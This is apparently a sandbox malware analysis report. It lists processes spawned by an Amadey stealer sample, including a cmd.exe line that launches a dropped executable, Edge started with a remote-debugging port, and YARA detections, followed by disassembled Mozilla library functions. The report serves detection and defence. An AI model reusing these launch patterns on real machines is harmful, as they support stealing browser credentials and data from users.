Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2552 --field-trial-handle=2224,i,16004899387267317099,10663953471025910774,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:55:36
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:55:37
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:55:42
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6436 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	02:55:42
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6596 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	02:56:05
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCGCBFHCFC.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	02:56:05
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	02:56:05
Start date:	28/11/2024
Path:	C:\Users\user\DocumentsHCGCBFHCFC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsHCGCBFHCFC.exe"
Imagebase:	0x6b0000
File size:	1'932'288 bytes
MD5 hash:	AEF046ED5D6161FA855337B295DFD92F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2061051767.00000000006B1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.1973617636.0000000004930000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	02:56:13
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xde0000
File size:	1'932'288 bytes
MD5 hash:	AEF046ED5D6161FA855337B295DFD92F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2050546141.0000000005570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2090930083.0000000000DE1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:56:37
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6636 --field-trial-handle=1984,i,4870464446911579892,18189097000495124311,262144 /prefetch:8
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	02:57:00
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xde0000
File size:	1'932'288 bytes
MD5 hash:	AEF046ED5D6161FA855337B295DFD92F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.2518706284.00000000055D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.2695269868.0000000000DE1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	02:57:17
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe"
Imagebase:	0x470000
File size:	4'509'184 bytes
MD5 hash:	B96337EC2F2A9546C812553077E48C40
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA335A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CABF688,00001000), ref: 6CA335D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA335E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA335FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA3363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA3369F
__aulldiv.LIBCMT ref: 6CA336E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA33773
EnterCriticalSection.KERNEL32(6CABF688), ref: 6CA3377E
LeaveCriticalSection.KERNEL32(6CABF688), ref: 6CA337BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA337C4
EnterCriticalSection.KERNEL32(6CABF688), ref: 6CA337CB
LeaveCriticalSection.KERNEL32(6CABF688), ref: 6CA33801
__aulldiv.LIBCMT ref: 6CA33883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA33902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA33918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA3394C

Strings

AuthcAMDenti, xrefs: 6CA33946
GenuntelineI, xrefs: 6CA33639
QPC, xrefs: 6CA338FC
MOZ_TIMESTAMP_MODE, xrefs: 6CA335DB
GTC, xrefs: 6CA33912

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: c34b345ae04efa80b9586ac37eb87ad7df902a0d92cb6b0f489e5e89c971418f
Instruction ID: 456fa291fe8589ca6babf78e12d7618e8c267e30a3001f48624b3a52ab502e2b
Opcode Fuzzy Hash: c34b345ae04efa80b9586ac37eb87ad7df902a0d92cb6b0f489e5e89c971418f
Instruction Fuzzy Hash: 1BB1F679B093529FDB0CCF28C86565A7BF5BB89704F08C92EE899D3760D7309842CB95

Function 6CA4C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA4C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA4C969
GetSystemInfo.KERNEL32(?), ref: 6CA4C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA4C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA4C9E2

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 71e3b974f370b5d99e16dd625aa54f9870f9caf714efdac94f26a9ef41d0741c
Instruction ID: 1af51bb86140a7794310a93d63a159ea8f1be444abde209358f6edf333a8237c
Opcode Fuzzy Hash: 71e3b974f370b5d99e16dd625aa54f9870f9caf714efdac94f26a9ef41d0741c
Instruction Fuzzy Hash: 8A214C35701315BBDB08AA79DCC4BAE7379BB46308F50812EF907A7A41DB709C888794

Function 6CA33060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA33095

Part of subcall function 6CA335A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CABF688,00001000), ref: 6CA335D5
Part of subcall function 6CA335A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA335E0
Part of subcall function 6CA335A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA335FD
Part of subcall function 6CA335A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA3363F
Part of subcall function 6CA335A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA3369F
Part of subcall function 6CA335A0: __aulldiv.LIBCMT ref: 6CA336E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA3309F

Part of subcall function 6CA55B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA556EE,?,00000001), ref: 6CA55B85
Part of subcall function 6CA55B50: EnterCriticalSection.KERNEL32(6CABF688,?,?,?,6CA556EE,?,00000001), ref: 6CA55B90
Part of subcall function 6CA55B50: LeaveCriticalSection.KERNEL32(6CABF688,?,?,?,6CA556EE,?,00000001), ref: 6CA55BD8
Part of subcall function 6CA55B50: GetTickCount64.KERNEL32 ref: 6CA55BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA330BE

Part of subcall function 6CA330F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA33127
Part of subcall function 6CA330F0: __aulldiv.LIBCMT ref: 6CA33140

Part of subcall function 6CA6AB2A: __onexit.LIBCMT ref: 6CA6AB30

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 5a45a352c1059513efa097e89bdf586cdcfab42525a917435326cb50daa23633
Instruction ID: a251af4d7414a5b8f549a8f1f2ede7d716eec3f8ec764c06af474acf8a2380cd
Opcode Fuzzy Hash: 5a45a352c1059513efa097e89bdf586cdcfab42525a917435326cb50daa23633
Instruction Fuzzy Hash: 83F0F92AE207CB96CA14DF388D611E67370AF6B114F54931EEC8953531FB3061DD8399

Non-executed Functions

Function 6CA45440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA45492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA454A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA454BE
__Init_thread_footer.LIBCMT ref: 6CA454DB

Part of subcall function 6CA6AB3F: EnterCriticalSection.KERNEL32(6CABE370,?,?,6CA33527,6CABF6CC,?,?,?,?,?,?,?,?,6CA33284), ref: 6CA6AB49
Part of subcall function 6CA6AB3F: LeaveCriticalSection.KERNEL32(6CABE370,?,6CA33527,6CABF6CC,?,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA6AB7C

Part of subcall function 6CA6CBE8: GetCurrentProcess.KERNEL32(?,6CA331A7), ref: 6CA6CBF1
Part of subcall function 6CA6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA331A7), ref: 6CA6CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA454F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA45516
GetCurrentThreadId.KERNEL32 ref: 6CA4556A
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA45577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA45585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA45590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA455E6
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA45606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA45616

Part of subcall function 6CA6AB89: EnterCriticalSection.KERNEL32(6CABE370,?,?,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284), ref: 6CA6AB94
Part of subcall function 6CA6AB89: LeaveCriticalSection.KERNEL32(6CABE370,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA6ABD1

GetCurrentThreadId.KERNEL32 ref: 6CA4563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA45646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA4567C
free.MOZGLUE(?), ref: 6CA456AE

Part of subcall function 6CA55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA55EDB
Part of subcall function 6CA55E90: memset.VCRUNTIME140(6CA97765,000000E5,55CCCCCC), ref: 6CA55F27
Part of subcall function 6CA55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA55FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA456E8
GetCurrentThreadId.KERNEL32 ref: 6CA45707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA4570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA45729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA4574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA4576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA45796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA457B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA457CA

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA45766
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA45D01
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA45717
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA45C56
[I %d/%d] profiler_init, xrefs: 6CA4564E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA45D2B
GeckoMain, xrefs: 6CA45554, 6CA455D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA454B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA45B38
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA4548D
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA45791
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA45749
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA454A3
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA45CF9
MOZ_PROFILER_STARTUP, xrefs: 6CA455E1
MOZ_BASE_PROFILER_HELP, xrefs: 6CA45511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA4584E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA456E3
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA45D24
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA45724
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA457C5
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA45BBE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA45D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA45AC9
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA457AE

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 919eb2ba2a0227d30e46b2d805c80e6842b9ae45c2e7f7ea62f951cfe2484d4e
Instruction ID: f0cde2e4b20e76f3bf1db2edd81ae18080134847618dfba2674ad311de8403c8
Opcode Fuzzy Hash: 919eb2ba2a0227d30e46b2d805c80e6842b9ae45c2e7f7ea62f951cfe2484d4e
Instruction Fuzzy Hash: D72238789043019FD7009F75894866AB7B5BF4630CF08CA2AF94A97B51EB31C8C9CB67

Function 6CA7B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA7B845
AcquireSRWLockExclusive.KERNEL32(6CABF4B8,?,?,00000000), ref: 6CA7B852
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7B884
InitializeConditionVariable.KERNEL32(?), ref: 6CA7B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CA7B9FD
GetCurrentThreadId.KERNEL32 ref: 6CA7BA05
AcquireSRWLockExclusive.KERNEL32(6CABF4B8,?,?,00000000), ref: 6CA7BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CA7BA27
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7BA4B
free.MOZGLUE(?), ref: 6CA7C9C7
free.MOZGLUE(?), ref: 6CA7C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CA7C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CA7C878

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 82265db63f2339be1e2fe0e91a8f7bbdba7656e9ab4f5bec62d5941c579778a4
Instruction ID: adf82ef106f7d662ac4445569a96c94fb2ede1964805daf447ce7387e8962b36
Opcode Fuzzy Hash: 82265db63f2339be1e2fe0e91a8f7bbdba7656e9ab4f5bec62d5941c579778a4
Instruction Fuzzy Hash: A8A28E75A083818FC725CF28C48079BB7F5BFC9314F448A2DE89997750DB70A989CB92

Function 6CA46C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA46CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA46D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA46D26

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA46D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA46D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA46D73
free.MOZGLUE(00000000), ref: 6CA46D80
CertGetNameStringW.CRYPT32 ref: 6CA46DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA46DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA46DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA46DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA46E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA46E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA46E34
CreateFileW.KERNEL32 ref: 6CA46EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA46F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA46F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA4709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA47103
free.MOZGLUE(00000000), ref: 6CA47153
CloseHandle.KERNEL32(?), ref: 6CA47176
__Init_thread_footer.LIBCMT ref: 6CA47209
__Init_thread_footer.LIBCMT ref: 6CA4723A
__Init_thread_footer.LIBCMT ref: 6CA4726B
